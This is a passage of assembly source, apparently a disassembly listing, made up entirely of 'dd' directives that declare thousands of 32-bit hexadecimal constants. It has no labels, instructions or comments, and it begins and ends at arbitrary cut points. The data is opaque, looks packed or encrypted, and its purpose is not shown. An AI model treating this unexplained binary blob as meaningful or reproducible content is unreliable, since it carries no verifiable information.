0EF8E0054h, 959ADA1Dh, 190ED91Fh, 6378C18Bh dd 76A6FEh, 0FC55AC09h, 155C73A0h, 5168422Ch, 62E42D07h dd 0EE07DA90h, 0F475008Fh, 0A452D506h, 3400B384h, 40AABC11h dd 1EBB6D76h, 40E819DEh, 577EB0E1h, 41008963h, 788E2D5Ch dd 778F1EB1h, 4E8600DCh, 67650D6Ch, 0A707878Ch, 74AE41B3h dd 82E216E0h, 96431D0Ah, 0DCA38027h, 0B8F8D9A7h, 152DB00h dd 1FAA3A2Ch, 0EE910016h, 5D04BD7Dh, 0B600A394h, 3D7ED4F6h dd 30FEBEBAh, 0B0F4D29Fh, 0CD001C3Ch, 4578AE3Bh, 3F88DCDDh dd 4B00A698h, 0B4C0F2D6h, 5C046E37h, 0DE24237Ch, 0E129C680h dd 79CF3C6Bh, 3478DD01h, 41707531h, 20D658B8h, 2D005790h dd 33641BE0h, 5615E2h, 62F1E5B7h, 0E1F0E72Eh, 10596501h dd 0E5DD324h, 0CE140980h, 0D11B5833h, 80F12C02h, 8134A968h dd 0FA2A4B8h, 6400FB0Ch, 0D37D07B6h, 14261240h, 0EE166833h dd 0E8E5F600h, 481457DFh, 1F933738h, 0EAC0CC28h, 0D142E423h dd 795F26B2h, 75100053h, 269AE37Eh, 21204B24h, 5BAB5400h dd 0A762418h, 85B42A07h, 41A700D4h, 6D42BEC4h, 0EDF0111Ch dd 0A2E6EA80h, 908277CDh, 9A270092h, 0F122B4F5h, 601C8C1Ch dd 331F0ED6h, 745F7F80h, 0DFA39Ch, 0B212D8A8h, 0EF0D2BC6h dd 0BE4CA207h, 0BFA05A65h, 3266E6h, 788A85D1h, 3157AA82h dd 5C2F4500h, 0A62E4A30h, 0E6F8000Bh, 203B4DC0h, 4C2C5DF0h dd 0FC008913h, 55F966Dh, 85D33D69h, 0C96B9Dh, 5CC56707h dd 48076208h, 8FA68974h, 2E889373h, 2EA209h, 0E417E991h dd 0C301CDF6h, 0AF38EAFh, 9DC0C7EBh, 7309002Ch, 0D998AD06h dd 0C800446Ch, 620A5496h, 0E2477B74h, 0C75C0018h, 8D83D952h dd 20159FCh, 0C81C6276h, 0BC42B1DEh, 13FC801Eh, 1F85E856h dd 40382C45h, 0C99F1118h, 5B980BB6h, 2409BC80h, 1BA0E607h dd 8A805ADFh, 0DC1A85h, 0FEC697D5h, 5CABE0BCh, 0F8620E01h dd 0C3A2FC09h, 9A8CDCh, 3A84CBBEh, 140B8D88h, 0FD7C3501h dd 5704C3B3h, 5C3FD730h, 0B900C650h, 0ECEA8D70h, 0A8748861h dd 417BA21Eh, 2C7C9D46h, 0B535000Ch, 0AFC79AFDh, 13013332h dd 8CE70FE2h, 9D404AFAh, 1FE64BEDh, 8745F397h, 2021EF9Bh dd 759CEE98h, 780E0B0Ah, 0FC8004EAh, 4C1E879h, 0A6F1287Dh dd 0C76E1687h, 0D8E40441h, 3FD8C0DCh, 1B0024A1h, 0ADAF3ACEh dd 7157345h, 6AF90FA5h, 50993021h, 3E000864h, 0FB68D04Ch dd 9D16F8F5h, 0BBC18E0h, 0C9AFAA01h, 9B640A7Fh, 3C1C5DDCh dd 75BFF75Bh, 2A406E00h, 0E2DAEFD3h, 0F2843613h, 0CCB13D01h dd 0BC204D91h, 0BF303881h, 39335880h, 5D409BE9h, 2D5748h dd 6C97371Eh, 1FE1546Ah, 0E2C317h, 43C6BBBEh, 621EFC20h dd 0EF8025B4h, 7013959Fh, 0E2914FDh, 0ED2EF019h, 143800D7h dd 3D22ADABh, 481D5E98h, 6C0028CEh, 5958A6FFh, 0E01500C0h dd 0C24F9C11h, 0C6302B0Ah, 5ED029C9h, 27200FFh, 0B8680D3Ch dd 0BA1DB796h, 3081C8CCh, 0AAE77638h, 792220h, 0B28DC457h dd 0BB33A28Eh, 0AE000771h, 94842AB6h, 8AD379h, 323AD193h dd 253F744Dh, 28839903h, 98700390h, 0B0B96397h, 863E03ECh dd 7D446FFFh, 0D0396E81h, 3B1E38FEh, 37C02285h, 0BA432B7Ah dd 0C5AEA33h, 56768681h, 0B397409h, 0A658080h, 0ADC7197Dh dd 0ECB35811h, 52E2F500h, 22165FA8h, 400C2B0h, 31E32164h dd 0E6DDBCECh, 0CD74002Ch, 0F9A63765h, 0E90001BBh, 2731F88Ch dd 0B1B543h, 4C2062DCh, 0ABF2F95Eh, 0E349421Eh, 488BE080h dd 672F96h, 0A3CD7B08h, 0A0721CA5h, 0CE9FA90Fh, 0BC0E84B5h dd 35FB4880h, 0CAB0004Ch, 527FF1ADh, 607F2406h, 8E4FFC00h dd 0E03B4B23h, 26A60120h, 38165912h, 2087E543h, 9C1FDFB6h dd 0E5C0E974h, 63C81736h, 0C5C224C9h, 8133007Ch, 0DC287913h dd 0ADB3E600h, 99AABE7Eh, 37CE00B2h, 19685C11h, 2F05BC66h dd 6AB92163h, 0F1A43C80h, 0A3D9001Eh, 0A0D823F0h, 0B20E25EEh dd 0C72A7AA2h, 0ED47E99Eh, 8C3D00A9h, 6E9A7258h, 12E2098Ah dd 9868D470h, 41753435h, 3C3258h, 1EBBE668h, 1EBB221h dd 156C4649h, 51AACA2Eh, 0FCD47EC0h, 30C030E6h, 7B8467C8h dd 0C5730CB6h, 0E75A1B61h, 5BCD305h, 0A440DDFDh, 98F688FCh dd 0A110C0DCh, 8353D7CBh, 0DD01B498h, 7505E28Eh, 0B1F0B890h dd 61976064h, 0C4A9371h, 73A1C60Eh, 7AA800BEh, 14370F64h dd 883A3617h, 0C7004C3Ch, 0B7D9F971h, 89013EAFh, 0FEF1E306h dd 1180911Bh, 0F40AADBBh, 2C0E96F7h, 57FF156Ah, 2B2F3500h dd 0D2A476h, 8D1442B6h, 49FE236Fh, 0C10B20Eh, 805B6069h dd 6D3BBADh, 2103763Eh, 1E001081h, 70CE162Eh, 4A2BA2h dd 2F29436Fh, 15D61028h, 0DE6EA328h, 3196E809h, 0C0508E20h dd 64C2B286h, 7314000Eh, 0D4EEA702h, 0CA004662h, 0FD9F3F38h dd 6EA368Eh, 0C37B8714h, 0BA3920EDh, 0A0EF00DDh, 5B825574h dd 21860026h, 6629B05Ch, 0D41CF825h, 9440A189h, 192A8223h dd 0DD3300F9h, 0CA9D04BEh, 0E0034E3Ch, 0E9F4FB8Dh, 61EBD0D7h dd 0E35E0E2Fh, 1120BD75h, 58C837B2h, 25B41750h, 1B6FD100h dd 0A39C285h, 0E0B950CBh, 10CF0002h, 3D200587h, 0F60350BEh dd 0C7787F8Dh, 0B58EE066h, 0E44201F2h, 4EE9B99Bh, 43F460CFh dd 34011400h, 9DACFE4Ch, 82C9073Ch, 9BC410h, 49773A91h dd 8AF2E60Eh, 4E2DE095h, 304ACDBCh, 697E51E3h, 6C2E55E5h dd 0FD01E461h, 5E6650F2h, 0ED00D9BDh, 40C739E2h, 3F2EA31Dh dd 10014648h, 0FB60976Ah, 71E39AD0h, 0FA31077Ch, 0D7DF3A17h dd 6382A04Dh, 503981ECh, 7B6700C5h, 0F86DD71Ah, 717F78h dd 2D7218FCh, 4926EF44h, 0CCF87050h, 0A7E5F000h, 0F516954h dd 840100C0h, 5A1C2A80h, 7D04435Ch, 16297EF5h, 87E82F80h dd 3C194C24h, 13AE5B3Ah, 5D6407F9h, 80F1C565h, 0D00CBB67h dd 0DB6BD600h, 0EE0F2A28h, 7EA87214h, 6D650B4Ch, 0AC825F25h dd 0ADC0D5FBh, 0B400DC51h, 2B03010Dh, 127080Fh, 9F30BE47h dd 80795625h, 43AF8019h, 3DC196Ch, 0F1746D94h, 100EBAA4h dd 40F7E084h, 5B0351C1h, 2D3700B9h, 0EE68D5D0h, 1F072B02h dd 0A1AD15DBh, 4A3AD921h, 30ECE2C0h, 0C021B995h, 0D1DF96Eh dd 4C56D84Bh, 706B3800h, 0F6ACA0h, 0FC4DC5D2h, 0DFD55972h dd 8EE0E900h, 213B9AAAh, 81680038h, 80064857h, 8C03C458h dd 0B8DC29F6h, 7C07C886h, 2AB3001Eh, 418B951Fh, 9B00FBC3h dd 15BD0EC4h, 47E7AB5h dd 818C2D6Ah, 1F8080B2h, 0EC92434Eh, 698E7601h, 21B89F13h dd 0C811F08Fh, 3D231DC0h, 18095404h, 87B1DB3Ch, 0CF90760Ch dd 7B4457Bh, 892434C0h, 9A6B534Ch, 2D81A6F0h, 0C8B1BF13h dd 0B21FD800h, 0F4177259h, 7D773D6Ah, 263E6D80h, 296328B7h dd 0C2B30403h, 0D03F3672h, 80B4BCh, 76118B8Fh, 0C1F640FEh dd 476CC413h, 77356C40h, 0F8F3FDh, 9596D984h, 0DB171F27h dd 58A50826h, 29C9C24h, 0BB516840h, 0F2596FDDh, 5DF902E7h dd 99A3A98Dh, 23F6D840h, 26026898h, 30624B1Ch, 0AFE8E04Ch dd 9DA01C0Fh, 0D8714060h, 0A6987B50h, 0CE37C200h, 51C33840h dd 339EABDh, 715A1782h, 64883D4Ch, 68987D7Ah, 1A111900h dd 69E4DD1h, 4E2A0F83h, 8C809F49h, 0EA237A44h, 1FBF9413h dd 2375800Fh, 80E8E445h, 21821B4h, 57AD38B2h, 7460EF9Ah dd 0B6E4B393h, 18D87B3Bh, 7146A787h, 757E00B7h, 0C8BA4761h dd 6F00D698h, 626DC249h, 5078F5h, 31FC3E42h, 18403A10h dd 0B50F841Dh, 30138313h, 92552400h, 3F0E28A0h, 0B451BC6Eh dd 0E97EDF0h, 98DD2BC7h, 96E560E0h, 9AF062D0h, 0E25EBC01h dd 0BBE1CEA3h, 1E187029h, 0A2D909DBh, 0CE1CE800h, 9F91DDA1h dd 0B6892E65h, 1A8D0068h, 0A7792DBAh, 1343D8A0h, 7DF9DA00h dd 221E6177h, 1EA5F0E4h, 40C79CC0h, 0C66321B6h, 0F2023080h dd 1F821A04h, 7E48505Eh, 2890A0C5h, 6E9048h, 353BBA66h dd 0BD302678h, 0AB13310Bh, 2004809Eh, 0BFD46CEh, 24B53993h dd 64CCC98Fh, 0CF12AF40h, 181E416Bh, 0B291ED00h, 9EBA0D53h dd 8E270130h, 0E170B639h, 67F1D9h, 63ADE0h, 6854DF94h dd 6AAB0B73h, 3E00DDF4h, 45E9A96Eh, 16CA86Fh, 3CC8D8DEh dd 80C6D6AEh, 0AC469C09h, 24CA410h, 7DF89145h, 0F4C01C31h dd 782E2A2Ch, 2E853C1Dh, 8400B7FEh, 0CDA1DBBCh, 985F00ADh dd 1964B0E3h, 4100FE77h, 7EBBAE94h, 0B027A303h, 0C4964C58h dd 97E8E304h, 0C45CC3BCh, 0CFD8B8B3h, 0D03B4693h, 8E35BE48h dd 2006C6BDh, 33AFB1D2h, 67B50002h, 0FC56107Eh, 0CD004BB3h dd 1CC30136h, 0E0556Dh, 52CE4765h, 963990F3h, 1C504F58h dd 8870C316h, 0BC590Fh, 9DE7F0CAh, 0D31D93F5h, 5BB22A00h dd 0E80A9552h, 41780020h, 0AC8CF311h, 0DA4CC20Ch, 51320134h dd 0E950CCF1h, 60B72DF4h, 0C1A1EE3Dh, 0C3002616h, 79D342F4h dd 257C56h, 0E2E4641Eh, 0E6C2D82Fh, 88FCF6EEh, 0AE0091FEh dd 1CEEDD4Fh, 60A7BDAh, 0BE8060D5h, 0A705403Fh, 70F4ED5Fh dd 592B4040h, 8363A1h, 1A15808Dh, 3E301217h, 54714603h dd 90B88EA5h, 3AC3DBFDh, 0BE017B02h, 657E8207h, 0A787773h dd 9E44631Dh, 0BB4D1F00h, 0B061B6D9h, 6CAD0165h, 156B5E26h dd 3054E143h, 684CB840h, 3FB60048h, 65734A25h, 0E869FA33h dd 487727h, 0E7BF283Ch, 2F85AA94h, 0B4B3E93Bh, 0C098082Eh dd 701648C3h, 0F386CF00h, 60A70B0Ah, 13F925h, 256E7D00h dd 0D8E20082h, 4EB6C83Ch, 0CD078162h, 96DAAB4Ch, 0A885E0B0h dd 41DB002Dh, 5ABE1BC8h, 7C0E09B3h, 0A06730B8h, 0F2F71DA9h dd 1620090Ah, 0B4C07F60h, 8B240E18h, 11050D94h, 3DC03A2Ch dd 4045F1Fh, 0E98F9DF3h, 5EB8C24Bh, 784A800h, 74380122h dd 0A77CB647h, 0A3A8873Dh, 0BF4042B4h, 159546h, 9CA1E6B0h dd 0D1FFE51h, 0D04BAE16h, 1B8D64C0h, 0A17B000Eh, 2E0256C7h dd 0E30EE2D8h, 40696054h, 173A120Fh, 0CBDA0775h, 91F1EF45h dd 0C02D1D72h, 4100BEF6h, 0C78E7D30h, 6F0D8Ah, 4E6BAC9Eh dd 463238BAh, 8C00F24Ah, 0F4CB09ECh, 0FDFC83h, 0FB193AD5h dd 4B656F48h, 10427500h, 539FF8D7h, 3F070F59h, 0BDC1191Fh dd 0C07795ACh, 0A759E62Dh, 4A4C6Ch, 0B41F758Eh, 7101341h dd 0A72484F5h, 0F081C42Dh, 3BF088A8h, 66E06454h, 0F6007BF4h dd 2D4A1739h, 71B02C0h, 41A5840Ah, 5CAA011Fh, 648C40B9h dd 1200AE04h, 2B2C9D05h, 0F26EA516h, 495B02D7h, 39D3371Bh dd 668CA4C5h, 6013A06Ah, 0CB48906Ch, 210C3F38h, 9904D2ACh dd 3E2F14F5h, 0A400E493h, 0F9593287h, 0AF3EAB75h, 0BF4D8056h dd 72F1D8D9h, 38CA5C7Ah, 0B58A263Dh, 80A8A083h, 1EEFB09h dd 0D80FE199h, 20559C6Fh, 23E54520h, 14B8044Ah, 0C168A8BFh dd 0F95E75C4h, 43818236h, 60F791EEh, 7AE7FAh, 32958DFBh dd 1C3F77ADh, 0F65EA714h, 2007484h, 644956DFh, 0E6DABB0h dd 0D76F3198h, 290CE860h, 730B1D8Eh, 0A168C0A0h, 201EB108h dd 300FBCCCh, 0C0B1BE36h, 0A098A593h, 0B21F9C87h, 0C3C62ACFh dd 2740D3h, 0F7C48248h, 49866AEEh, 0E460012Ah, 39249E00h dd 0E497B1E0h, 0D7613080h, 0AFD41458h, 1A466D00h, 0BF646F4Ah dd 81E96045h, 9FE3DCEDh, 0E4146E3Fh, 54E4C360h, 131EEB4h dd 164EC618h, 2160D129h, 2E58E4ECh, 0D6A50703h, 0F8FF8C88h dd 0ECD25206h, 2C32723Fh, 3D402967h, 21800B84h, 0C43CE0C7h dd 0D102CA75h, 4EF9A51Eh, 5759C033h, 599A296Eh, 0B05600D4h dd 9FBE7367h, 51CB149h, 17E89A5Eh, 0C063D40Bh, 2A197708h dd 9802AF9h, 0A67020F0h, 3123820Bh, 30013530h, 1CCE0569h dd 3C7CB3C9h, 0C80FD44Ch, 6058272Fh, 2C009C3Ah, 7C217408h dd 342572h, 5465CD1Fh, 0BD6A8A23h, 8CF2B000h, 88E8967Dh dd 0A9740006h, 0AF973239h, 0BCE2BDABh, 0CD83DA00h, 0A2F4F17h dd 74D300CCh, 0A626C710h, 9C168DFFh, 6C1D8B37h, 713D4202h dd 6C1CE0CAh, 98A9000Ch, 0DD1F2777h, 0A80FF0E0h, 0A0097A70h dd 0ACE4C158h, 81551FE2h, 6F3FC0AAh, 5188C556h, 35A54000h dd 0ED5EB4BCh, 71F487h, 0CA1E66DEh, 0FBD1FA62h, 0B5E894F8h dd 0EB43DA07h, 0A480F8F2h, 11175h, 0F6BC9613h, 238A1517h dd 25BEBB03h, 0E070800Dh, 63E756h, 71625828h, 6F7CF78Dh dd 80F85B3Bh, 43BE8916h, 0A0D2C3A8h, 76E65EA4h, 0DD63079Fh dd 4558CDA0h, 0E5DB039Eh, 0C0C424C2h, 0D3D72398h, 0A0B7190Bh dd 9F60CE6h, 0C0DCD7D1h, 0A739D52Ch, 0BE314D17h, 6E00F813h dd 4C5F4532h, 0B39239E9h, 47D94100h, 0D7CD03C1h, 80106648h dd 0B6AAFBF1h, 3AC9002Eh, 0B529B4B2h, 0F492010Dh, 39270803h dd 807F9589h, 9A53932Ch, 710606A0h, 2820400Eh, 91E44909h dd 24DCE45Fh, 47B8E74Bh, 0C91D515Ah, 106494E3h, 94C00A0h dd 0CA84AC3h, 1F3D00C8h, 7759B476h, 3000F541h, 0FE90F02Eh dd 106E96h, 8F1F9C87h, 0E76A1D06h, 0F300EE4Eh, 0F9849176h dd 31102F6h, 56347DE4h, 2440D84Ah, 4B3ECEADh, 0D3B30007h dd 227E6B41h, 6C6601D6h, 52C6235Ah, 0CA63E4B4h, 0D3125B01h dd 8BB93C85h, 0B64CD0h, 2C92FAC2h, 0C8420FA2h, 6641A700h dd 0E62F60EFh, 20872CF1h, 81E43B0h, 4D715DC0h, 0DE281600h dd 0DC8AB5A0h, 6DC302C7h, 14A12304h, 0C4CA4C60h, 0B299DB04h dd 29C0C6D5h, 0ACB16Ah, 62C0C7A0h, 1108939Ah, 0B303C409h dd 0A6F480BFh, 9DD2C87h, 5CA93CE6h, 44D7B060h, 961B9902h dd 609821E2h, 502DAB34h, 372CC52h, 1B3976FBh, 0FB02661h dd 0C3442A01h, 639515C8h, 74987Fh, 812098Ah, 7C8FC44Ah dd 0C4354Ch, 7B5493A8h, 10CA1Fh, 0A3ABB16Ch, 1A242676h dd 34505201h, 44F1D28h, 447FE430h, 1E04EE47h, 494575FBh dd 0DF502890h, 0C14B028Ch, 52A5976Eh, 5B02CC6Ch, 7D027B59h dd 41504AD1h, 0A4640810h, 0D5290178h, 822E6454h, 0B6A0603Ah dd 43C6560Bh, 0E8F4803Ch dd 0F063B3D5h, 5424E988h, 158981Dh, 0AB087107h, 0EC2B7B9Eh dd 0F00C414h, 0B201529Fh, 0E2BCDE92h, 0D0514A8Fh, 7E0C08A4h dd 0CCA89B02h, 0A06F6C39h, 36BB2DB8h, 0D6300632h, 60299E97h dd 0A800F098h, 2A3E6CEDh, 197890h, 2F97733Bh, 0F95019Ch dd 0D7D21C03h, 0EDC8B9A4h, 0DFEAFEC0h, 39671DB1h, 0DE11C01Fh dd 392E198h, 8CCDFA00h, 47803650h, 0AFB6139Dh, 6EF040B4h dd 1F5E3584h, 0EC4C3A55h, 0F03E012h, 0A3FB9591h, 925B80E9h dd 63440097h, 493AB6CFh, 192CA1C2h, 51637415h, 6A59219Ah dd 37FAC780h, 24B99F68h, 71F72A1h, 90EC482Fh, 0DF96E227h dd 58FE7C00h, 2A0A663Ch, 382E83Fh, 0FA212881h, 0D8D96C5Dh dd 83DC470Fh, 60D0AFE0h, 11311459h, 80827847h, 30E87102h dd 0A80267C7h, 7C899445h, 0DCCC4861h, 2014C7Bh, 0E4F6FD00h dd 88051F1Ah, 0F7D3A103h, 0DA3F94C8h, 8438C8DBh, 550A40F3h dd 11C051F6h, 977AD9FCh, 0B64A8810h, 8EC4500Bh, 0C204623Bh dd 0AAE07746h, 0E300610Ch, 16301062h, 704B6Fh, 19F8A98Ch dd 0BBBABE71h, 624798A9h, 976CDFB4h, 861F2030h, 0FDB5000Fh dd 5C3A8483h, 0FA09E374h, 0A9AC7Eh, 0B271A2B8h, 0A37519h dd 153F52B4h, 0F110B1EDh, 0EECA2700h, 4047A4E5h, 0A0740081h dd 68FE3062h, 560052B1h, 0D020A1E1h, 0ECD696F4h, 0F12100C1h dd 94D72EC0h, 0EF00CBCAh, 6538B3E5h, 34F68Dh, 0C2780C11h dd 0C698810Fh, 0BC5A8300h, 0A6AD14A9h, 0C8AF3C38h, 74C0CD80h dd 0B9D615BDh, 64439A01h, 0DD010C19h, 0F39C60h, 0F0C06B29h dd 68DC444Ch, 0C91B4106h, 756E0C5h, 19FDE60h, 0D24F7130h dd 0EDE5DC6Bh, 7C8FE48h, 74838E80h, 0D388B550h, 1F8A71ACh dd 5D9F7E0Dh, 9063E509h, 0A91191AFh, 0EBF6ED5Bh, 657C0900h dd 6C83B08Ch, 593105A5h, 0C21D509Dh, 38424C98h, 88015856h dd 731124EAh, 1E8137D8h, 85502551h, 919134C7h, 0F43A8ACCh dd 6A172C95h, 0C480EF93h, 6448A5h, 2AAD8906h, 0BFD9A13Bh dd 0EE0E9700h, 0AF254EA3h, 4B94EE10h, 0E5E8D098h, 288162E1h dd 0AAFCC0h, 77148CCAh, 42175DC9h, 0FF38823Ah, 9CF17E03h dd 0E005D1A9h, 14C844h, 0C3424323h, 0C7086A04h, 83E4AA03h dd 0A8B72F87h, 2E31C290h, 2618D021h, 8B0540B4h, 1C0959A8h dd 0A0875752h, 5096D7E0h, 154200AAh, 54226FD8h, 1000B5F7h dd 0CD678507h, 690587h, 83759570h, 0A4F797DFh, 0E049B000h dd 0E27CE15h, 0ACEA0007h, 2A8077C5h, 0C748CAD6h, 0A46F2668h dd 708052B5h, 1B431EEh, 69E8FEDh, 2C95DAC2h, 6429008Ch dd 2153F70Fh, 49F5AD6h, 0C2EB7D2Ch, 0ACDE4254h, 0D0EAE200h dd 7CFB1174h, 0B84926DBh, 0E1510504h, 0DA36C08Ch, 0A401F4E8h dd 0AF8E797h, 0E5C08AC7h, 4CD492D7h, 0D454341Eh, 9FAE05FEh dd 0C0A94AADh, 8921C723h, 0B7E8D500h, 2D672566h, 0F8010090h dd 0C7393FC4h, 5800C6CAh, 0ED4D2406h, 0F902826h, 5BBEA0EEh dd 0F1FA4BE5h, 8D32DC0Ch, 18BF8230h, 1FC6A287h, 80CAB434h dd 0D0AFECB0h, 0ED167039h, 84723507h, 0BDB43033h, 14706896h dd 0A13E00BFh, 0D9C42AFEh, 0EE010FD1h, 1364B642h, 482C470Eh dd 18C03E25h, 3F59550Ch, 8C742870h, 9BCCF713h, 9C2C6500h dd 4F8C0D30h, 0DB0EE09Ah, 59FBCA0h, 0F5479E00h, 7DF3F190h dd 75D8A0FFh, 3B9900EEh, 0EDBE53C5h, 8313A402h, 0AC834938h dd 7ED5D052h, 518C0F89h, 0C1B8A5DFh, 5B59EB56h, 956E17ECh dd 0F0B0C13h, 8C5C398Dh, 74F00009h, 0A92664C8h, 607F443h dd 3FA59905h, 0EF1304CAh, 4E38C89Bh, 0B8287892h, 4C008448h dd 0B09BC169h, 49409DE2h, 0D006E0EAh, 490B7041h, 2356DF0Ch dd 0CBEB1C0h, 0B3D154CDh, 78B4E9F9h, 8CC8F812h, 2D300026h dd 0A701E24Ah, 0A0F55ACh, 424C183Ch, 703564D4h, 0ED0818ACh dd 0C7B459B9h, 17FB6C13h, 0F9924883h, 0CC64410Dh, 0A477C3h dd 0F5CC30D3h, 28B5AAACh, 9C56B109h, 98644355h, 4EA403E0h dd 2A2C0842h, 0C8402E42h, 0F7B0D84h, 976FEFF9h, 0B6ED0076h dd 54C9B0BFh, 9F900400h, 526B50ECh, 4D9326F2h, 0A850448h dd 8F826h, 1213C64Fh, 16BC7Ch, 0C1A3659h, 0B8B6A885h, 42165E7Dh dd 0F4038BC8h, 11C19Ch, 4DDF3E10h, 59B3E4BBh, 0C0AA6400h dd 54372613h, 8CF30039h, 9DD0E829h, 881C69CEh, 0EF9FA601h dd 45EDB584h, 73A88090h, 0E488A8B2h, 7F090947h, 78218740h dd 6CA105F4h, 23EE1804h, 0FA778F29h, 83431EABh, 0C8C146FAh dd 52168C1Eh, 0BC4EDF2Fh, 0A09E00EAh, 0A8845751h, 0C897AC8h dd 8EDB0D10h, 0F016281h, 6863A2A0h, 0E0EF8DF5h, 250D4CAh dd 0BA4FBCE7h, 0BF60A132h, 2F007D40h, 41830B26h, 8AD5EFh dd 2D3BD679h, 7C22D9E5h, 0AA710D16h, 293C88h, 0ADF113A3h dd 1ABE80D6h, 0A58FDA39h, 0CED4803Eh, 0E2225D64h, 207B00E4h dd 69870628h, 7000C474h, 0B0C3C81Ch, 0B710D9h, 0FEA5D2BEh dd 94A6931Bh, 0C921AD00h, 9A22DB26h, 0A16400E6h, 1698683h dd 0DC0065A4h, 11E4A2FAh, 0CE464Fh, 0CAD92FF5h, 0D54553BCh dd 0D8D3F809h, 0E75080B9h, 285EB5h, 5BC2CD48h, 5CBDCAE1h dd 0B2DACC00h, 0EAF8CFC9h, 50FFE077h, 0E39C21h, 0DF2DD89Bh dd 0E028DD9Ah, 26E47A00h, 22E88EDAh, 85833AD6h, 0FEE95900h dd 0FD1B43C2h, 65C804A0h, 0CA15F901h, 127AF668h, 0E93CE92h dd 0BFBD272Ch, 0CBA9C600h, 0DCC5393Dh, 0CA959600h, 0D845B7B5h dd 298709AAh, 18004865h, 606B71ADh, 1BDBE900h, 0AAE244CFh dd 12A04D3h, 0D063F02Ch, 70C77188h, 9DDAFC24h, 0CC457800h dd 240615B2h, 11CD85h, 0C202E065h, 0DC01C836h, 93E250F5h dd 8FF0D05Bh, 276A008Ch, 74541AD3h, 884D18BEh, 0E4E92E60h dd 552A6301h, 508E1E67h, 12E0AAA6h, 9F0D5021h, 91C6451Dh dd 9B4FD3C7h, 0E0172BA3h, 0A9B479h, 48193360h, 98751A35h dd 0F3F58701h, 0C08EF084h, 0C837F4h, 3546D06Bh, 0D7A5796Ch dd 14CD2413h, 89158802h, 5C5039h, 0D5BF52C5h, 9212F4E4h dd 10692603h, 0B587288Ch, 7700C8h, 200A6091h, 7D4FBD93h dd 3583CD16h, 1CF97401h, 4530A1B6h, 0AE371DEFh, 6FA500BBh dd 62D496A2h, 0C9009B79h, 0A056942h, 7FE51D10h, 2161394Fh dd 62765287h, 5604B074h, 2430E114h, 2825E00Fh, 0BBCA0013h dd 0B8BA8FA3h, 111D55A5h, 0AE400E6Bh, 84E4343Ch, 6E933C30h dd 9CBA0376h, 60410FFh, 2A6055E2h, 0EA3B6333h, 0C3878073h dd 0A2FB1F5Ah, 95A400DBh, 0FA285723h, 6600E8E6h, 75ED4CB7h dd 3DEC54F2h, 0FC00514Fh, 0ED25F12h, 0C90F931h, 0C70149FAh dd 0CC58EB90h, 9720C88Fh, 62CA00C9h, 41C6C5D2h, 4D09C4D3h dd 83E4F4BAh, 2E2F1ACh, 0C7AAC009h, 36C1E7EBh, 4B40745Dh dd 4E041496h, 3CA4EDA3h, 0D8C9031Bh, 0EECB4611h, 90DCB7BFh dd 0E1619F15h, 0E00000B8h, 0C5BCEC4Bh, 617FCA1Fh, 197D487Ah dd 56502402h, 7366F500h, 6F4DEBC2h, 0BE9C09EAh, 44008A17h dd 4653A110h, 3DC80E1Dh, 6B9E0B80h, 97CE21A3h, 4094DC80h dd 6C06809Ah, 0A0573DD2h, 0A909C01Ah, 0B0D99655h, 6E9B6000h dd 0A217AC26h, 130A09F2h, 0A01088FFh, 209447B6h, 17098B00h dd 0ADAF3Dh, 147B8F23h, 0AB3CBBA0h, 90CC9B24h, 0B74DE601h dd 0B8ECCBA7h, 45800FA6h, 3DCAB0B6h, 427E05F1h, 5D52C0C3h dd 0B90C4F41h, 93B3ECDh, 0C7FC39h, 0C4BF2E3Ch, 0A985FFB1h dd 0BB000872h dd 0F7997AADh, 278133F3h, 4618A68h, 36BDCCDBh, 0DE1B620Fh dd 0C0E46E13h, 34202D09h, 867E00E0h, 16140405h, 9A010C51h dd 9EF5932Ch, 70301F4Eh, 6A2B3CF3h, 6E0AEE09h, 7480850Eh dd 0F7FE2997h, 15E474B0h, 5C7EA9E8h, 0ABB43115h, 0D6170104h dd 0D9198689h, 13828BCCh, 27B52FCh, 0B0F39770h, 8800247Eh dd 0E3BD1C25h, 0B6950FAFh, 0C820F46Dh, 0C233DF8Ch, 0A6A56A00h dd 1D24693Fh, 5D710054h, 99E026BBh, 0DD0061C5h, 8D64A09Ch dd 6B6CF25h, 83F5973Dh, 0AAE8119Fh, 862F9A3Fh, 478BDD50h dd 18B2E819h, 119BD02Ah, 89078212h, 451960A7h, 7F31D970h dd 0ED612806h, 6D5E00A8h, 2D7B0CABh, 0C8006EF4h, 1DB2163Ah dd 521C18h, 511F8FEEh, 294ECAF3h, 0E8F8BA0Eh, 95A2608Ch dd 72232C1h, 0DA8A50CFh, 0F52181C2h, 0B63CE40Dh, 37D3AE01h dd 0AD3EB1BBh, 6454FEh, 77CCCBEh, 4800393Bh, 89164DA7h dd 24C3F513h, 132CC54Fh, 38E4E0B2h, 42002CFAh, 6C2A91ADh dd 0EE71AFh, 176EAB48h, 0CE27C647h, 7A0D8B06h, 7E0967CAh dd 0C874005Dh, 1D713662h, 0C24DF23h, 1002C07h, 5FA846AFh dd 90E73A4Ch, 0D749CD80h, 13EEF67Ch, 286FC838h, 6C3E8625h dd 0DE860224h, 0E075CF8Ah, 0F840D11Ch, 6F2A0071h, 5C96BBADh dd 53011C10h, 0EEBDC94Fh, 0CCC0C832h, 0BA440938h, 0C8E1F7B9h dd 3AB83001h, 2BD04900h, 0C2DCD99Ch, 93800005h, 4E6F5621h dd 1E5D78B5h, 0FC593A60h, 0DCB0AB07h, 6D73C6Ch, 0C697EBE0h dd 1DEC9865h, 0D44DD1h, 2A01D854h, 0B038524h, 0C2CEBD58h dd 631100ECh, 96EDB651h, 1809F7FCh, 0A04A885Eh, 0B1E2C3F8h dd 3727BDAh, 90755210h, 6FD9C26Ch, 5415601Dh, 350E797Eh dd 0C2C75B47h, 0E08A25D7h, 98C87888h, 14FF0624h, 0B8831037h dd 7CD0CB5Bh, 2C4231h, 90F3E551h, 0D8AD9B21h, 20FD1F01h dd 4D93D250h, 66C8402Fh, 98759A0h, 1AF06990h, 60BDB824h dd 3EC58038h, 88668EA4h, 68061389h, 38204043h, 329FDCC0h dd 0FF83A30Bh, 0A0320F56h, 0CCDFAC81h, 0CECCEh, 5DC1B55Ch dd 2B9A9F3Ah, 102E2F60h, 3F58BBh, 8684125Fh, 0B7F26964h dd 0ABDF1F00h, 66F88587h, 0F98C1F41h, 612B00A4h, 0B1B3FFBCh dd 30C1FAF7h, 0EC76FAFCh, 5F9C6803h, 599EE018h, 0A274001Ah dd 0A36F1655h, 9019D54h, 79E0F525h, 980F322h, 1C77DAF1h dd 0B4EC8DD8h, 0DE29BC16h, 5DE03040h, 910F53h, 8761CAEBh dd 0D09C973Eh, 80495B25h, 9A448FE0h, 43920002h, 